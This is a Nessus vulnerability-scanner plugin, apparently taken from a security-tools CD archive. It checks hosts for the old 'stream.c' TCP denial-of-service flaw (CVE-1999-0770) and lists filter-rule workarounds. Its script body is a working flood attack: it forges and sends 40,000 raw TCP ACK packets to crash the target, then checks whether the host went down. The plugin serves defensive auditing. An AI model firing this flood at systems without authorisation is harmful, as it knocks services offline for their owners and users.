home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / stream.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  116 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
  5. #      Erik Anderson <eanders@carmichaelsecurity.com>
  6. #      Added links to the Bugtraq message archive
  7. #
  8. # See the Nessus Scripts License for details
  9. #
  10.  
  11. if(description)
  12. {
  13.  script_id(10271);
  14.  script_bugtraq_id(549);
  15.  script_version ("$Revision: 1.14 $");
  16.  # BID549 / CVE-1999-0770 = FW-1 saturation
  17.  script_cve_id("CVE-1999-0770");
  18.  
  19.  name["english"] = "stream.c";
  20.  name["francais"] = "stream.c";
  21.  script_name(english:name["english"], francais:name["francais"]);
  22.  
  23.  desc["english"] = "
  24. It seems it was possible to make the remote server crash using the 'stream.c' 
  25. attack. 
  26.  
  27. An attacker may use this flaw to shut down this server, thus preventing 
  28. your network from working properly.
  29.  
  30. Solution : contact your operating system vendor for a patch.
  31. Workaround : if you use IP filter,
  32. then add these rules :
  33.  
  34.     block in quick proto tcp from any to any head 100
  35.     pass in quick proto tcp from any to any flags S keep state group 100
  36.     pass in all
  37.  
  38. Reference : http://online.securityfocus.com/archive/1/42729
  39. Reference : http://online.securityfocus.com/archive/1/42723
  40.  
  41. Risk factor : High";
  42.  
  43.  
  44.  script_description(english:desc["english"]);
  45.  
  46.  summary["english"] = "Crashes the remote host using the 'stream.c' attack";
  47.  summary["francais"] = "Plante le serveur distant en utilisant l'attaque 'stream.c'";
  48.  script_summary(english:summary["english"], francais:summary["francais"]);
  49.  
  50.  if (ACT_FLOOD) script_category(ACT_FLOOD);
  51.  else        script_category(ACT_KILL_HOST);
  52.  
  53.  script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
  54.         francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
  55.  family["english"] = "Denial of Service";
  56.  family["francais"] = "DΘni de service";
  57.  script_family(english:family["english"], francais:family["francais"]);
  58.  
  59.  
  60.  exit(0);
  61. }
  62.  
  63. #
  64. # The script code starts here
  65. #
  66.  
  67.  
  68.  
  69.  
  70. addr = this_host();
  71. id = rand();
  72. sport = rand();
  73. seq = rand();
  74.  
  75. port = get_host_open_port();
  76. if(!port)port = rand();
  77.             
  78.  
  79. start_denial();
  80. for(i=0;i<40000;i=i+1)
  81. {
  82.  id = id + 1;
  83.  sport = sport + 1;
  84.  seq  = seq+1;
  85.  ip = forge_ip_packet(   ip_v : 4,
  86.             ip_hl : 5,
  87.             ip_tos : 0x08,
  88.             ip_len : 20,
  89.                 ip_id : id,
  90.             ip_p : IPPROTO_TCP,
  91.             ip_ttl : 255,
  92.                 ip_off : 0,
  93.             ip_src : addr);
  94.             
  95.  tcpip = forge_tcp_packet(    ip      : ip,
  96.                  th_sport : sport,    
  97.                  th_dport : port,   
  98.                  th_flags : TH_ACK,
  99.                      th_seq   : seq,
  100.                  th_ack   : 0,
  101.                  th_x2    : 0,
  102.                   th_off   : 5,     
  103.                  th_win   : 2048, 
  104.                  th_urp   : 0);
  105.                  
  106.                  
  107.  send_packet(tcpip, pcap_active:FALSE);
  108. }
  109. sleep(5);
  110. alive = end_denial();
  111.  
  112. if(!alive)     {
  113.                 set_kb_item(name:"Host/dead", value:TRUE);
  114.                 security_hole(0);
  115.                 }
  116.